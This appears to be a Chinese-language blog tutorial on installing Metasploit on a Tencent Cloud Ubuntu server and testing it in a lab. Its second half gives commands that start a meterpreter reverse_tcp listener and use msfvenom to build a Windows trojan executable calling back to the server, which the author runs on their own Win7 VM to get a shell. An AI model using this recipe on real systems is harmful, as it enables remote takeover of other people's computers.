本教程在腾讯云Ubuntu Server 16.04.1 LTS 64位上测试通过

1.png

登录到Ubuntu系统后,首先切换成root用户



sudo su

0.png


关闭防火墙:ufw disable  记得reboot重启下


在正式开始安装之前,我们先来更新下腾讯云系统相关组件确保它处于最新的安装包(如果弹出来询问你,全部回车就可以了):

sudo apt-get update
sudo apt-get upgrade
在更新完成后下面我们来安装一些必要的库文件,这些库文件的安装与否将直接影响到 metasploit 的安装:



sudo apt-get install build-essential libssl-dev libreadline-dev libpq5 libpq-dev libreadline5 libpcap-dev openjdk-7-jre git-core autoconf postgresql libsqlite3-dev pgadmin3 curl zlib1g-dev libxml2-dev curl zlib1g-dev libxslt1-dev vncviewer libyaml-dev
接着我们先来安装 Nmap ,当使用 metasploit 进行扫描时需要调用它(根据个人需要选择安装):



sudo apt-get install nmap
我们的准备工作算是做完了,接下来就是正常安装Metasploit了

安装Metasploit(安装会有点慢,不要慌,请耐心等待)


curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod 755 msfinstall

./msfinstall


安装postgresql数据库,依次执行下面的命令(安装数据库时会自动创建系统用户postgres、数据库用户postgres、数据库postgres):


apt-get install postgresql    //安装postgresql数据库
su - postgres                       //切换到postgres用户
psql                                     //登陆postgresql数据库,首次登陆没有密码
\password postgres             //修改数据库用户postgres的密码


2.png

启动Metasploit(会发现数据库链接失败)



msfconsole

3.png

进入后执行(查看数据库链接状态):


db_status

3.png

发现数据库链接失败,不要慌,问题不大,执行下面的语句(注意密码为刚刚修改的postgress密码):



db_connect postgres:这里填你刚刚修改的数据库密码@127.0.0.1/1500/metasploit3

4.png

这时候再执行:db_status,会发现链接成功。

5.png

搜索下sm可以看到有很多模块,当然也有MS17010

6.png

7.png


接下来我们生成木马测试,注意,这里生成木马是重点,生成木马之前请先去MSF监听起来,然后新开一个SSH窗口去执行生成木马的命令,不然可能会生成木马失败。


先执行MSF监听的命令:


use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 这里是你腾讯云的内网IP(可用ifconfig查看)
set LPORT 你想监听的端口
run
8.png



然后执行生成木马的命令(注意这里生成木马的时候LHOST是你的外网IP,端口是你监听的端口):


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=腾讯云外网IP LPORT=1234 -f exe >x64.exe
9.png



接下来我们去win7虚拟机执行生成的Payload文件:

10.png

得到反弹的shell会话

11.png


12.png



小结下踩过的坑:

1.我用本机kali里面的MSF生成的payload(msf版本和服务器安装的不一样,但是填的是服务器的反弹IP),去靶机上执行,发现服务器这边没得到会话,原因是因为msf版本不一样,所以反弹不过去,我用服务器的msf生成payload,到靶机上去执行,成功反弹。

2.在服务器上生成payload失败,原因是因为msf没在服务器上先监听起来,我也不知道为什么要监听了才能生成payload,估计是抽风吧。正因为这第二个坑,才有了第一个坑。最后我发现服务器开启监听后居然能生成payload了。。。